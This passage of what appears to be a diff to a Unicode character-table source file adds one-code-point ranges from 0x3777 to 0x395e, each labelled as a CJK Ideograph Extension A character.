+ [0x3777, 0x3777], /* CJK Ideograph Extension A */
+ [0x3778, 0x3778], /* CJK Ideograph Extension A */
+ [0x3779, 0x3779], /* CJK Ideograph Extension A */
+ [0x377a, 0x377a], /* CJK Ideograph Extension A */
+ [0x377b, 0x377b], /* CJK Ideograph Extension A */
+ [0x377c, 0x377c], /* CJK Ideograph Extension A */
+ [0x377d, 0x377d], /* CJK Ideograph Extension A */
+ [0x377e, 0x377e], /* CJK Ideograph Extension A */
+ [0x377f, 0x377f], /* CJK Ideograph Extension A */
+ [0x3780, 0x3780], /* CJK Ideograph Extension A */
+ [0x3781, 0x3781], /* CJK Ideograph Extension A */
+ [0x3782, 0x3782], /* CJK Ideograph Extension A */
+ [0x3783, 0x3783], /* CJK Ideograph Extension A */
+ [0x3784, 0x3784], /* CJK Ideograph Extension A */
+ [0x3785, 0x3785], /* CJK Ideograph Extension A */
+ [0x3786, 0x3786], /* CJK Ideograph Extension A */
+ [0x3787, 0x3787], /* CJK Ideograph Extension A */
+ [0x3788, 0x3788], /* CJK Ideograph Extension A */
+ [0x3789, 0x3789], /* CJK Ideograph Extension A */
+ [0x378a, 0x378a], /* CJK Ideograph Extension A */
+ [0x378b, 0x378b], /* CJK Ideograph Extension A */
+ [0x378c, 0x378c], /* CJK Ideograph Extension A */
+ [0x378d, 0x378d], /* CJK Ideograph Extension A */
+ [0x378e, 0x378e], /* CJK Ideograph Extension A */
+ [0x378f, 0x378f], /* CJK Ideograph Extension A */
+ [0x3790, 0x3790], /* CJK Ideograph Extension A */
+ [0x3791, 0x3791], /* CJK Ideograph Extension A */
+ [0x3792, 0x3792], /* CJK Ideograph Extension A */
+ [0x3793, 0x3793], /* CJK Ideograph Extension A */
+ [0x3794, 0x3794], /* CJK Ideograph Extension A */
+ [0x3795, 0x3795], /* CJK Ideograph Extension A */
+ [0x3796, 0x3796], /* CJK Ideograph Extension A */
+ [0x3797, 0x3797], /* CJK Ideograph Extension A */
+ [0x3798, 0x3798], /* CJK Ideograph Extension A */
+ [0x3799, 0x3799], /* CJK Ideograph Extension A */
+ [0x379a, 0x379a], /* CJK Ideograph Extension A */
+ [0x379b, 0x379b], /* CJK Ideograph Extension A */
+ [0x379c, 0x379c], /* CJK Ideograph Extension A */
+ [0x379d, 0x379d], /* CJK Ideograph Extension A */
+ [0x379e, 0x379e], /* CJK Ideograph Extension A */
+ [0x379f, 0x379f], /* CJK Ideograph Extension A */
+ [0x37a0, 0x37a0], /* CJK Ideograph Extension A */
+ [0x37a1, 0x37a1], /* CJK Ideograph Extension A */
+ [0x37a2, 0x37a2], /* CJK Ideograph Extension A */
+ [0x37a3, 0x37a3], /* CJK Ideograph Extension A */
+ [0x37a4, 0x37a4], /* CJK Ideograph Extension A */
+ [0x37a5, 0x37a5], /* CJK Ideograph Extension A */
+ [0x37a6, 0x37a6], /* CJK Ideograph Extension A */
+ [0x37a7, 0x37a7], /* CJK Ideograph Extension A */
+ [0x37a8, 0x37a8], /* CJK Ideograph Extension A */
+ [0x37a9, 0x37a9], /* CJK Ideograph Extension A */
+ [0x37aa, 0x37aa], /* CJK Ideograph Extension A */
+ [0x37ab, 0x37ab], /* CJK Ideograph Extension A */
+ [0x37ac, 0x37ac], /* CJK Ideograph Extension A */
+ [0x37ad, 0x37ad], /* CJK Ideograph Extension A */
+ [0x37ae, 0x37ae], /* CJK Ideograph Extension A */
+ [0x37af, 0x37af], /* CJK Ideograph Extension A */
+ [0x37b0, 0x37b0], /* CJK Ideograph Extension A */
+ [0x37b1, 0x37b1], /* CJK Ideograph Extension A */
+ [0x37b2, 0x37b2], /* CJK Ideograph Extension A */
+ [0x37b3, 0x37b3], /* CJK Ideograph Extension A */
+ [0x37b4, 0x37b4], /* CJK Ideograph Extension A */
+ [0x37b5, 0x37b5], /* CJK Ideograph Extension A */
+ [0x37b6, 0x37b6], /* CJK Ideograph Extension A */
+ [0x37b7, 0x37b7], /* CJK Ideograph Extension A */
+ [0x37b8, 0x37b8], /* CJK Ideograph Extension A */
+ [0x37b9, 0x37b9], /* CJK Ideograph Extension A */
+ [0x37ba, 0x37ba], /* CJK Ideograph Extension A */
+ [0x37bb, 0x37bb], /* CJK Ideograph Extension A */
+ [0x37bc, 0x37bc], /* CJK Ideograph Extension A */
+ [0x37bd, 0x37bd], /* CJK Ideograph Extension A */
+ [0x37be, 0x37be], /* CJK Ideograph Extension A */
+ [0x37bf, 0x37bf], /* CJK Ideograph Extension A */
+ [0x37c0, 0x37c0], /* CJK Ideograph Extension A */
+ [0x37c1, 0x37c1], /* CJK Ideograph Extension A */
+ [0x37c2, 0x37c2], /* CJK Ideograph Extension A */
+ [0x37c3, 0x37c3], /* CJK Ideograph Extension A */
+ [0x37c4, 0x37c4], /* CJK Ideograph Extension A */
+ [0x37c5, 0x37c5], /* CJK Ideograph Extension A */
+ [0x37c6, 0x37c6], /* CJK Ideograph Extension A */
+ [0x37c7, 0x37c7], /* CJK Ideograph Extension A */
+ [0x37c8, 0x37c8], /* CJK Ideograph Extension A */
+ [0x37c9, 0x37c9], /* CJK Ideograph Extension A */
+ [0x37ca, 0x37ca], /* CJK Ideograph Extension A */
+ [0x37cb, 0x37cb], /* CJK Ideograph Extension A */
+ [0x37cc, 0x37cc], /* CJK Ideograph Extension A */
+ [0x37cd, 0x37cd], /* CJK Ideograph Extension A */
+ [0x37ce, 0x37ce], /* CJK Ideograph Extension A */
+ [0x37cf, 0x37cf], /* CJK Ideograph Extension A */
+ [0x37d0, 0x37d0], /* CJK Ideograph Extension A */
+ [0x37d1, 0x37d1], /* CJK Ideograph Extension A */
+ [0x37d2, 0x37d2], /* CJK Ideograph Extension A */
+ [0x37d3, 0x37d3], /* CJK Ideograph Extension A */
+ [0x37d4, 0x37d4], /* CJK Ideograph Extension A */
+ [0x37d5, 0x37d5], /* CJK Ideograph Extension A */
+ [0x37d6, 0x37d6], /* CJK Ideograph Extension A */
+ [0x37d7, 0x37d7], /* CJK Ideograph Extension A */
+ [0x37d8, 0x37d8], /* CJK Ideograph Extension A */
+ [0x37d9, 0x37d9], /* CJK Ideograph Extension A */
+ [0x37da, 0x37da], /* CJK Ideograph Extension A */
+ [0x37db, 0x37db], /* CJK Ideograph Extension A */
+ [0x37dc, 0x37dc], /* CJK Ideograph Extension A */
+ [0x37dd, 0x37dd], /* CJK Ideograph Extension A */
+ [0x37de, 0x37de], /* CJK Ideograph Extension A */
+ [0x37df, 0x37df], /* CJK Ideograph Extension A */
+ [0x37e0, 0x37e0], /* CJK Ideograph Extension A */
+ [0x37e1, 0x37e1], /* CJK Ideograph Extension A */
+ [0x37e2, 0x37e2], /* CJK Ideograph Extension A */
+ [0x37e3, 0x37e3], /* CJK Ideograph Extension A */
+ [0x37e4, 0x37e4], /* CJK Ideograph Extension A */
+ [0x37e5, 0x37e5], /* CJK Ideograph Extension A */
+ [0x37e6, 0x37e6], /* CJK Ideograph Extension A */
+ [0x37e7, 0x37e7], /* CJK Ideograph Extension A */
+ [0x37e8, 0x37e8], /* CJK Ideograph Extension A */
+ [0x37e9, 0x37e9], /* CJK Ideograph Extension A */
+ [0x37ea, 0x37ea], /* CJK Ideograph Extension A */
+ [0x37eb, 0x37eb], /* CJK Ideograph Extension A */
+ [0x37ec, 0x37ec], /* CJK Ideograph Extension A */
+ [0x37ed, 0x37ed], /* CJK Ideograph Extension A */
+ [0x37ee, 0x37ee], /* CJK Ideograph Extension A */
+ [0x37ef, 0x37ef], /* CJK Ideograph Extension A */
+ [0x37f0, 0x37f0], /* CJK Ideograph Extension A */
+ [0x37f1, 0x37f1], /* CJK Ideograph Extension A */
+ [0x37f2, 0x37f2], /* CJK Ideograph Extension A */
+ [0x37f3, 0x37f3], /* CJK Ideograph Extension A */
+ [0x37f4, 0x37f4], /* CJK Ideograph Extension A */
+ [0x37f5, 0x37f5], /* CJK Ideograph Extension A */
+ [0x37f6, 0x37f6], /* CJK Ideograph Extension A */
+ [0x37f7, 0x37f7], /* CJK Ideograph Extension A */
+ [0x37f8, 0x37f8], /* CJK Ideograph Extension A */
+ [0x37f9, 0x37f9], /* CJK Ideograph Extension A */
+ [0x37fa, 0x37fa], /* CJK Ideograph Extension A */
+ [0x37fb, 0x37fb], /* CJK Ideograph Extension A */
+ [0x37fc, 0x37fc], /* CJK Ideograph Extension A */
+ [0x37fd, 0x37fd], /* CJK Ideograph Extension A */
+ [0x37fe, 0x37fe], /* CJK Ideograph Extension A */
+ [0x37ff, 0x37ff], /* CJK Ideograph Extension A */
+ [0x3800, 0x3800], /* CJK Ideograph Extension A */
+ [0x3801, 0x3801], /* CJK Ideograph Extension A */
+ [0x3802, 0x3802], /* CJK Ideograph Extension A */
+ [0x3803, 0x3803], /* CJK Ideograph Extension A */
+ [0x3804, 0x3804], /* CJK Ideograph Extension A */
+ [0x3805, 0x3805], /* CJK Ideograph Extension A */
+ [0x3806, 0x3806], /* CJK Ideograph Extension A */
+ [0x3807, 0x3807], /* CJK Ideograph Extension A */
+ [0x3808, 0x3808], /* CJK Ideograph Extension A */
+ [0x3809, 0x3809], /* CJK Ideograph Extension A */
+ [0x380a, 0x380a], /* CJK Ideograph Extension A */
+ [0x380b, 0x380b], /* CJK Ideograph Extension A */
+ [0x380c, 0x380c], /* CJK Ideograph Extension A */
+ [0x380d, 0x380d], /* CJK Ideograph Extension A */
+ [0x380e, 0x380e], /* CJK Ideograph Extension A */
+ [0x380f, 0x380f], /* CJK Ideograph Extension A */
+ [0x3810, 0x3810], /* CJK Ideograph Extension A */
+ [0x3811, 0x3811], /* CJK Ideograph Extension A */
+ [0x3812, 0x3812], /* CJK Ideograph Extension A */
+ [0x3813, 0x3813], /* CJK Ideograph Extension A */
+ [0x3814, 0x3814], /* CJK Ideograph Extension A */
+ [0x3815, 0x3815], /* CJK Ideograph Extension A */
+ [0x3816, 0x3816], /* CJK Ideograph Extension A */
+ [0x3817, 0x3817], /* CJK Ideograph Extension A */
+ [0x3818, 0x3818], /* CJK Ideograph Extension A */
+ [0x3819, 0x3819], /* CJK Ideograph Extension A */
+ [0x381a, 0x381a], /* CJK Ideograph Extension A */
+ [0x381b, 0x381b], /* CJK Ideograph Extension A */
+ [0x381c, 0x381c], /* CJK Ideograph Extension A */
+ [0x381d, 0x381d], /* CJK Ideograph Extension A */
+ [0x381e, 0x381e], /* CJK Ideograph Extension A */
+ [0x381f, 0x381f], /* CJK Ideograph Extension A */
+ [0x3820, 0x3820], /* CJK Ideograph Extension A */
+ [0x3821, 0x3821], /* CJK Ideograph Extension A */
+ [0x3822, 0x3822], /* CJK Ideograph Extension A */
+ [0x3823, 0x3823], /* CJK Ideograph Extension A */
+ [0x3824, 0x3824], /* CJK Ideograph Extension A */
+ [0x3825, 0x3825], /* CJK Ideograph Extension A */
+ [0x3826, 0x3826], /* CJK Ideograph Extension A */
+ [0x3827, 0x3827], /* CJK Ideograph Extension A */
+ [0x3828, 0x3828], /* CJK Ideograph Extension A */
+ [0x3829, 0x3829], /* CJK Ideograph Extension A */
+ [0x382a, 0x382a], /* CJK Ideograph Extension A */
+ [0x382b, 0x382b], /* CJK Ideograph Extension A */
+ [0x382c, 0x382c], /* CJK Ideograph Extension A */
+ [0x382d, 0x382d], /* CJK Ideograph Extension A */
+ [0x382e, 0x382e], /* CJK Ideograph Extension A */
+ [0x382f, 0x382f], /* CJK Ideograph Extension A */
+ [0x3830, 0x3830], /* CJK Ideograph Extension A */
+ [0x3831, 0x3831], /* CJK Ideograph Extension A */
+ [0x3832, 0x3832], /* CJK Ideograph Extension A */
+ [0x3833, 0x3833], /* CJK Ideograph Extension A */
+ [0x3834, 0x3834], /* CJK Ideograph Extension A */
+ [0x3835, 0x3835], /* CJK Ideograph Extension A */
+ [0x3836, 0x3836], /* CJK Ideograph Extension A */
+ [0x3837, 0x3837], /* CJK Ideograph Extension A */
+ [0x3838, 0x3838], /* CJK Ideograph Extension A */
+ [0x3839, 0x3839], /* CJK Ideograph Extension A */
+ [0x383a, 0x383a], /* CJK Ideograph Extension A */
+ [0x383b, 0x383b], /* CJK Ideograph Extension A */
+ [0x383c, 0x383c], /* CJK Ideograph Extension A */
+ [0x383d, 0x383d], /* CJK Ideograph Extension A */
+ [0x383e, 0x383e], /* CJK Ideograph Extension A */
+ [0x383f, 0x383f], /* CJK Ideograph Extension A */
+ [0x3840, 0x3840], /* CJK Ideograph Extension A */
+ [0x3841, 0x3841], /* CJK Ideograph Extension A */
+ [0x3842, 0x3842], /* CJK Ideograph Extension A */
+ [0x3843, 0x3843], /* CJK Ideograph Extension A */
+ [0x3844, 0x3844], /* CJK Ideograph Extension A */
+ [0x3845, 0x3845], /* CJK Ideograph Extension A */
+ [0x3846, 0x3846], /* CJK Ideograph Extension A */
+ [0x3847, 0x3847], /* CJK Ideograph Extension A */
+ [0x3848, 0x3848], /* CJK Ideograph Extension A */
+ [0x3849, 0x3849], /* CJK Ideograph Extension A */
+ [0x384a, 0x384a], /* CJK Ideograph Extension A */
+ [0x384b, 0x384b], /* CJK Ideograph Extension A */
+ [0x384c, 0x384c], /* CJK Ideograph Extension A */
+ [0x384d, 0x384d], /* CJK Ideograph Extension A */
+ [0x384e, 0x384e], /* CJK Ideograph Extension A */
+ [0x384f, 0x384f], /* CJK Ideograph Extension A */
+ [0x3850, 0x3850], /* CJK Ideograph Extension A */
+ [0x3851, 0x3851], /* CJK Ideograph Extension A */
+ [0x3852, 0x3852], /* CJK Ideograph Extension A */
+ [0x3853, 0x3853], /* CJK Ideograph Extension A */
+ [0x3854, 0x3854], /* CJK Ideograph Extension A */
+ [0x3855, 0x3855], /* CJK Ideograph Extension A */
+ [0x3856, 0x3856], /* CJK Ideograph Extension A */
+ [0x3857, 0x3857], /* CJK Ideograph Extension A */
+ [0x3858, 0x3858], /* CJK Ideograph Extension A */
+ [0x3859, 0x3859], /* CJK Ideograph Extension A */
+ [0x385a, 0x385a], /* CJK Ideograph Extension A */
+ [0x385b, 0x385b], /* CJK Ideograph Extension A */
+ [0x385c, 0x385c], /* CJK Ideograph Extension A */
+ [0x385d, 0x385d], /* CJK Ideograph Extension A */
+ [0x385e, 0x385e], /* CJK Ideograph Extension A */
+ [0x385f, 0x385f], /* CJK Ideograph Extension A */
+ [0x3860, 0x3860], /* CJK Ideograph Extension A */
+ [0x3861, 0x3861], /* CJK Ideograph Extension A */
+ [0x3862, 0x3862], /* CJK Ideograph Extension A */
+ [0x3863, 0x3863], /* CJK Ideograph Extension A */
+ [0x3864, 0x3864], /* CJK Ideograph Extension A */
+ [0x3865, 0x3865], /* CJK Ideograph Extension A */
+ [0x3866, 0x3866], /* CJK Ideograph Extension A */
+ [0x3867, 0x3867], /* CJK Ideograph Extension A */
+ [0x3868, 0x3868], /* CJK Ideograph Extension A */
+ [0x3869, 0x3869], /* CJK Ideograph Extension A */
+ [0x386a, 0x386a], /* CJK Ideograph Extension A */
+ [0x386b, 0x386b], /* CJK Ideograph Extension A */
+ [0x386c, 0x386c], /* CJK Ideograph Extension A */
+ [0x386d, 0x386d], /* CJK Ideograph Extension A */
+ [0x386e, 0x386e], /* CJK Ideograph Extension A */
+ [0x386f, 0x386f], /* CJK Ideograph Extension A */
+ [0x3870, 0x3870], /* CJK Ideograph Extension A */
+ [0x3871, 0x3871], /* CJK Ideograph Extension A */
+ [0x3872, 0x3872], /* CJK Ideograph Extension A */
+ [0x3873, 0x3873], /* CJK Ideograph Extension A */
+ [0x3874, 0x3874], /* CJK Ideograph Extension A */
+ [0x3875, 0x3875], /* CJK Ideograph Extension A */
+ [0x3876, 0x3876], /* CJK Ideograph Extension A */
+ [0x3877, 0x3877], /* CJK Ideograph Extension A */
+ [0x3878, 0x3878], /* CJK Ideograph Extension A */
+ [0x3879, 0x3879], /* CJK Ideograph Extension A */
+ [0x387a, 0x387a], /* CJK Ideograph Extension A */
+ [0x387b, 0x387b], /* CJK Ideograph Extension A */
+ [0x387c, 0x387c], /* CJK Ideograph Extension A */
+ [0x387d, 0x387d], /* CJK Ideograph Extension A */
+ [0x387e, 0x387e], /* CJK Ideograph Extension A */
+ [0x387f, 0x387f], /* CJK Ideograph Extension A */
+ [0x3880, 0x3880], /* CJK Ideograph Extension A */
+ [0x3881, 0x3881], /* CJK Ideograph Extension A */
+ [0x3882, 0x3882], /* CJK Ideograph Extension A */
+ [0x3883, 0x3883], /* CJK Ideograph Extension A */
+ [0x3884, 0x3884], /* CJK Ideograph Extension A */
+ [0x3885, 0x3885], /* CJK Ideograph Extension A */
+ [0x3886, 0x3886], /* CJK Ideograph Extension A */
+ [0x3887, 0x3887], /* CJK Ideograph Extension A */
+ [0x3888, 0x3888], /* CJK Ideograph Extension A */
+ [0x3889, 0x3889], /* CJK Ideograph Extension A */
+ [0x388a, 0x388a], /* CJK Ideograph Extension A */
+ [0x388b, 0x388b], /* CJK Ideograph Extension A */
+ [0x388c, 0x388c], /* CJK Ideograph Extension A */
+ [0x388d, 0x388d], /* CJK Ideograph Extension A */
+ [0x388e, 0x388e], /* CJK Ideograph Extension A */
+ [0x388f, 0x388f], /* CJK Ideograph Extension A */
+ [0x3890, 0x3890], /* CJK Ideograph Extension A */
+ [0x3891, 0x3891], /* CJK Ideograph Extension A */
+ [0x3892, 0x3892], /* CJK Ideograph Extension A */
+ [0x3893, 0x3893], /* CJK Ideograph Extension A */
+ [0x3894, 0x3894], /* CJK Ideograph Extension A */
+ [0x3895, 0x3895], /* CJK Ideograph Extension A */
+ [0x3896, 0x3896], /* CJK Ideograph Extension A */
+ [0x3897, 0x3897], /* CJK Ideograph Extension A */
+ [0x3898, 0x3898], /* CJK Ideograph Extension A */
+ [0x3899, 0x3899], /* CJK Ideograph Extension A */
+ [0x389a, 0x389a], /* CJK Ideograph Extension A */
+ [0x389b, 0x389b], /* CJK Ideograph Extension A */
+ [0x389c, 0x389c], /* CJK Ideograph Extension A */
+ [0x389d, 0x389d], /* CJK Ideograph Extension A */
+ [0x389e, 0x389e], /* CJK Ideograph Extension A */
+ [0x389f, 0x389f], /* CJK Ideograph Extension A */
+ [0x38a0, 0x38a0], /* CJK Ideograph Extension A */
+ [0x38a1, 0x38a1], /* CJK Ideograph Extension A */
+ [0x38a2, 0x38a2], /* CJK Ideograph Extension A */
+ [0x38a3, 0x38a3], /* CJK Ideograph Extension A */
+ [0x38a4, 0x38a4], /* CJK Ideograph Extension A */
+ [0x38a5, 0x38a5], /* CJK Ideograph Extension A */
+ [0x38a6, 0x38a6], /* CJK Ideograph Extension A */
+ [0x38a7, 0x38a7], /* CJK Ideograph Extension A */
+ [0x38a8, 0x38a8], /* CJK Ideograph Extension A */
+ [0x38a9, 0x38a9], /* CJK Ideograph Extension A */
+ [0x38aa, 0x38aa], /* CJK Ideograph Extension A */
+ [0x38ab, 0x38ab], /* CJK Ideograph Extension A */
+ [0x38ac, 0x38ac], /* CJK Ideograph Extension A */
+ [0x38ad, 0x38ad], /* CJK Ideograph Extension A */
+ [0x38ae, 0x38ae], /* CJK Ideograph Extension A */
+ [0x38af, 0x38af], /* CJK Ideograph Extension A */
+ [0x38b0, 0x38b0], /* CJK Ideograph Extension A */
+ [0x38b1, 0x38b1], /* CJK Ideograph Extension A */
+ [0x38b2, 0x38b2], /* CJK Ideograph Extension A */
+ [0x38b3, 0x38b3], /* CJK Ideograph Extension A */
+ [0x38b4, 0x38b4], /* CJK Ideograph Extension A */
+ [0x38b5, 0x38b5], /* CJK Ideograph Extension A */
+ [0x38b6, 0x38b6], /* CJK Ideograph Extension A */
+ [0x38b7, 0x38b7], /* CJK Ideograph Extension A */
+ [0x38b8, 0x38b8], /* CJK Ideograph Extension A */
+ [0x38b9, 0x38b9], /* CJK Ideograph Extension A */
+ [0x38ba, 0x38ba], /* CJK Ideograph Extension A */
+ [0x38bb, 0x38bb], /* CJK Ideograph Extension A */
+ [0x38bc, 0x38bc], /* CJK Ideograph Extension A */
+ [0x38bd, 0x38bd], /* CJK Ideograph Extension A */
+ [0x38be, 0x38be], /* CJK Ideograph Extension A */
+ [0x38bf, 0x38bf], /* CJK Ideograph Extension A */
+ [0x38c0, 0x38c0], /* CJK Ideograph Extension A */
+ [0x38c1, 0x38c1], /* CJK Ideograph Extension A */
+ [0x38c2, 0x38c2], /* CJK Ideograph Extension A */
+ [0x38c3, 0x38c3], /* CJK Ideograph Extension A */
+ [0x38c4, 0x38c4], /* CJK Ideograph Extension A */
+ [0x38c5, 0x38c5], /* CJK Ideograph Extension A */
+ [0x38c6, 0x38c6], /* CJK Ideograph Extension A */
+ [0x38c7, 0x38c7], /* CJK Ideograph Extension A */
+ [0x38c8, 0x38c8], /* CJK Ideograph Extension A */
+ [0x38c9, 0x38c9], /* CJK Ideograph Extension A */
+ [0x38ca, 0x38ca], /* CJK Ideograph Extension A */
+ [0x38cb, 0x38cb], /* CJK Ideograph Extension A */
+ [0x38cc, 0x38cc], /* CJK Ideograph Extension A */
+ [0x38cd, 0x38cd], /* CJK Ideograph Extension A */
+ [0x38ce, 0x38ce], /* CJK Ideograph Extension A */
+ [0x38cf, 0x38cf], /* CJK Ideograph Extension A */
+ [0x38d0, 0x38d0], /* CJK Ideograph Extension A */
+ [0x38d1, 0x38d1], /* CJK Ideograph Extension A */
+ [0x38d2, 0x38d2], /* CJK Ideograph Extension A */
+ [0x38d3, 0x38d3], /* CJK Ideograph Extension A */
+ [0x38d4, 0x38d4], /* CJK Ideograph Extension A */
+ [0x38d5, 0x38d5], /* CJK Ideograph Extension A */
+ [0x38d6, 0x38d6], /* CJK Ideograph Extension A */
+ [0x38d7, 0x38d7], /* CJK Ideograph Extension A */
+ [0x38d8, 0x38d8], /* CJK Ideograph Extension A */
+ [0x38d9, 0x38d9], /* CJK Ideograph Extension A */
+ [0x38da, 0x38da], /* CJK Ideograph Extension A */
+ [0x38db, 0x38db], /* CJK Ideograph Extension A */
+ [0x38dc, 0x38dc], /* CJK Ideograph Extension A */
+ [0x38dd, 0x38dd], /* CJK Ideograph Extension A */
+ [0x38de, 0x38de], /* CJK Ideograph Extension A */
+ [0x38df, 0x38df], /* CJK Ideograph Extension A */
+ [0x38e0, 0x38e0], /* CJK Ideograph Extension A */
+ [0x38e1, 0x38e1], /* CJK Ideograph Extension A */
+ [0x38e2, 0x38e2], /* CJK Ideograph Extension A */
+ [0x38e3, 0x38e3], /* CJK Ideograph Extension A */
+ [0x38e4, 0x38e4], /* CJK Ideograph Extension A */
+ [0x38e5, 0x38e5], /* CJK Ideograph Extension A */
+ [0x38e6, 0x38e6], /* CJK Ideograph Extension A */
+ [0x38e7, 0x38e7], /* CJK Ideograph Extension A */
+ [0x38e8, 0x38e8], /* CJK Ideograph Extension A */
+ [0x38e9, 0x38e9], /* CJK Ideograph Extension A */
+ [0x38ea, 0x38ea], /* CJK Ideograph Extension A */
+ [0x38eb, 0x38eb], /* CJK Ideograph Extension A */
+ [0x38ec, 0x38ec], /* CJK Ideograph Extension A */
+ [0x38ed, 0x38ed], /* CJK Ideograph Extension A */
+ [0x38ee, 0x38ee], /* CJK Ideograph Extension A */
+ [0x38ef, 0x38ef], /* CJK Ideograph Extension A */
+ [0x38f0, 0x38f0], /* CJK Ideograph Extension A */
+ [0x38f1, 0x38f1], /* CJK Ideograph Extension A */
+ [0x38f2, 0x38f2], /* CJK Ideograph Extension A */
+ [0x38f3, 0x38f3], /* CJK Ideograph Extension A */
+ [0x38f4, 0x38f4], /* CJK Ideograph Extension A */
+ [0x38f5, 0x38f5], /* CJK Ideograph Extension A */
+ [0x38f6, 0x38f6], /* CJK Ideograph Extension A */
+ [0x38f7, 0x38f7], /* CJK Ideograph Extension A */
+ [0x38f8, 0x38f8], /* CJK Ideograph Extension A */
+ [0x38f9, 0x38f9], /* CJK Ideograph Extension A */
+ [0x38fa, 0x38fa], /* CJK Ideograph Extension A */
+ [0x38fb, 0x38fb], /* CJK Ideograph Extension A */
+ [0x38fc, 0x38fc], /* CJK Ideograph Extension A */
+ [0x38fd, 0x38fd], /* CJK Ideograph Extension A */
+ [0x38fe, 0x38fe], /* CJK Ideograph Extension A */
+ [0x38ff, 0x38ff], /* CJK Ideograph Extension A */
+ [0x3900, 0x3900], /* CJK Ideograph Extension A */
+ [0x3901, 0x3901], /* CJK Ideograph Extension A */
+ [0x3902, 0x3902], /* CJK Ideograph Extension A */
+ [0x3903, 0x3903], /* CJK Ideograph Extension A */
+ [0x3904, 0x3904], /* CJK Ideograph Extension A */
+ [0x3905, 0x3905], /* CJK Ideograph Extension A */
+ [0x3906, 0x3906], /* CJK Ideograph Extension A */
+ [0x3907, 0x3907], /* CJK Ideograph Extension A */
+ [0x3908, 0x3908], /* CJK Ideograph Extension A */
+ [0x3909, 0x3909], /* CJK Ideograph Extension A */
+ [0x390a, 0x390a], /* CJK Ideograph Extension A */
+ [0x390b, 0x390b], /* CJK Ideograph Extension A */
+ [0x390c, 0x390c], /* CJK Ideograph Extension A */
+ [0x390d, 0x390d], /* CJK Ideograph Extension A */
+ [0x390e, 0x390e], /* CJK Ideograph Extension A */
+ [0x390f, 0x390f], /* CJK Ideograph Extension A */
+ [0x3910, 0x3910], /* CJK Ideograph Extension A */
+ [0x3911, 0x3911], /* CJK Ideograph Extension A */
+ [0x3912, 0x3912], /* CJK Ideograph Extension A */
+ [0x3913, 0x3913], /* CJK Ideograph Extension A */
+ [0x3914, 0x3914], /* CJK Ideograph Extension A */
+ [0x3915, 0x3915], /* CJK Ideograph Extension A */
+ [0x3916, 0x3916], /* CJK Ideograph Extension A */
+ [0x3917, 0x3917], /* CJK Ideograph Extension A */
+ [0x3918, 0x3918], /* CJK Ideograph Extension A */
+ [0x3919, 0x3919], /* CJK Ideograph Extension A */
+ [0x391a, 0x391a], /* CJK Ideograph Extension A */
+ [0x391b, 0x391b], /* CJK Ideograph Extension A */
+ [0x391c, 0x391c], /* CJK Ideograph Extension A */
+ [0x391d, 0x391d], /* CJK Ideograph Extension A */
+ [0x391e, 0x391e], /* CJK Ideograph Extension A */
+ [0x391f, 0x391f], /* CJK Ideograph Extension A */
+ [0x3920, 0x3920], /* CJK Ideograph Extension A */
+ [0x3921, 0x3921], /* CJK Ideograph Extension A */
+ [0x3922, 0x3922], /* CJK Ideograph Extension A */
+ [0x3923, 0x3923], /* CJK Ideograph Extension A */
+ [0x3924, 0x3924], /* CJK Ideograph Extension A */
+ [0x3925, 0x3925], /* CJK Ideograph Extension A */
+ [0x3926, 0x3926], /* CJK Ideograph Extension A */
+ [0x3927, 0x3927], /* CJK Ideograph Extension A */
+ [0x3928, 0x3928], /* CJK Ideograph Extension A */
+ [0x3929, 0x3929], /* CJK Ideograph Extension A */
+ [0x392a, 0x392a], /* CJK Ideograph Extension A */
+ [0x392b, 0x392b], /* CJK Ideograph Extension A */
+ [0x392c, 0x392c], /* CJK Ideograph Extension A */
+ [0x392d, 0x392d], /* CJK Ideograph Extension A */
+ [0x392e, 0x392e], /* CJK Ideograph Extension A */
+ [0x392f, 0x392f], /* CJK Ideograph Extension A */
+ [0x3930, 0x3930], /* CJK Ideograph Extension A */
+ [0x3931, 0x3931], /* CJK Ideograph Extension A */
+ [0x3932, 0x3932], /* CJK Ideograph Extension A */
+ [0x3933, 0x3933], /* CJK Ideograph Extension A */
+ [0x3934, 0x3934], /* CJK Ideograph Extension A */
+ [0x3935, 0x3935], /* CJK Ideograph Extension A */
+ [0x3936, 0x3936], /* CJK Ideograph Extension A */
+ [0x3937, 0x3937], /* CJK Ideograph Extension A */
+ [0x3938, 0x3938], /* CJK Ideograph Extension A */
+ [0x3939, 0x3939], /* CJK Ideograph Extension A */
+ [0x393a, 0x393a], /* CJK Ideograph Extension A */
+ [0x393b, 0x393b], /* CJK Ideograph Extension A */
+ [0x393c, 0x393c], /* CJK Ideograph Extension A */
+ [0x393d, 0x393d], /* CJK Ideograph Extension A */
+ [0x393e, 0x393e], /* CJK Ideograph Extension A */
+ [0x393f, 0x393f], /* CJK Ideograph Extension A */
+ [0x3940, 0x3940], /* CJK Ideograph Extension A */
+ [0x3941, 0x3941], /* CJK Ideograph Extension A */
+ [0x3942, 0x3942], /* CJK Ideograph Extension A */
+ [0x3943, 0x3943], /* CJK Ideograph Extension A */
+ [0x3944, 0x3944], /* CJK Ideograph Extension A */
+ [0x3945, 0x3945], /* CJK Ideograph Extension A */
+ [0x3946, 0x3946], /* CJK Ideograph Extension A */
+ [0x3947, 0x3947], /* CJK Ideograph Extension A */
+ [0x3948, 0x3948], /* CJK Ideograph Extension A */
+ [0x3949, 0x3949], /* CJK Ideograph Extension A */
+ [0x394a, 0x394a], /* CJK Ideograph Extension A */
+ [0x394b, 0x394b], /* CJK Ideograph Extension A */
+ [0x394c, 0x394c], /* CJK Ideograph Extension A */
+ [0x394d, 0x394d], /* CJK Ideograph Extension A */
+ [0x394e, 0x394e], /* CJK Ideograph Extension A */
+ [0x394f, 0x394f], /* CJK Ideograph Extension A */
+ [0x3950, 0x3950], /* CJK Ideograph Extension A */
+ [0x3951, 0x3951], /* CJK Ideograph Extension A */
+ [0x3952, 0x3952], /* CJK Ideograph Extension A */
+ [0x3953, 0x3953], /* CJK Ideograph Extension A */
+ [0x3954, 0x3954], /* CJK Ideograph Extension A */
+ [0x3955, 0x3955], /* CJK Ideograph Extension A */
+ [0x3956, 0x3956], /* CJK Ideograph Extension A */
+ [0x3957, 0x3957], /* CJK Ideograph Extension A */
+ [0x3958, 0x3958], /* CJK Ideograph Extension A */
+ [0x3959, 0x3959], /* CJK Ideograph Extension A */
+ [0x395a, 0x395a], /* CJK Ideograph Extension A */
+ [0x395b, 0x395b], /* CJK Ideograph Extension A */
+ [0x395c, 0x395c], /* CJK Ideograph Extension A */
+ [0x395d, 0x395d], /* CJK Ideograph Extension A */
+ [0x395e, 0x395e], /* CJK Ideograph Extension A */
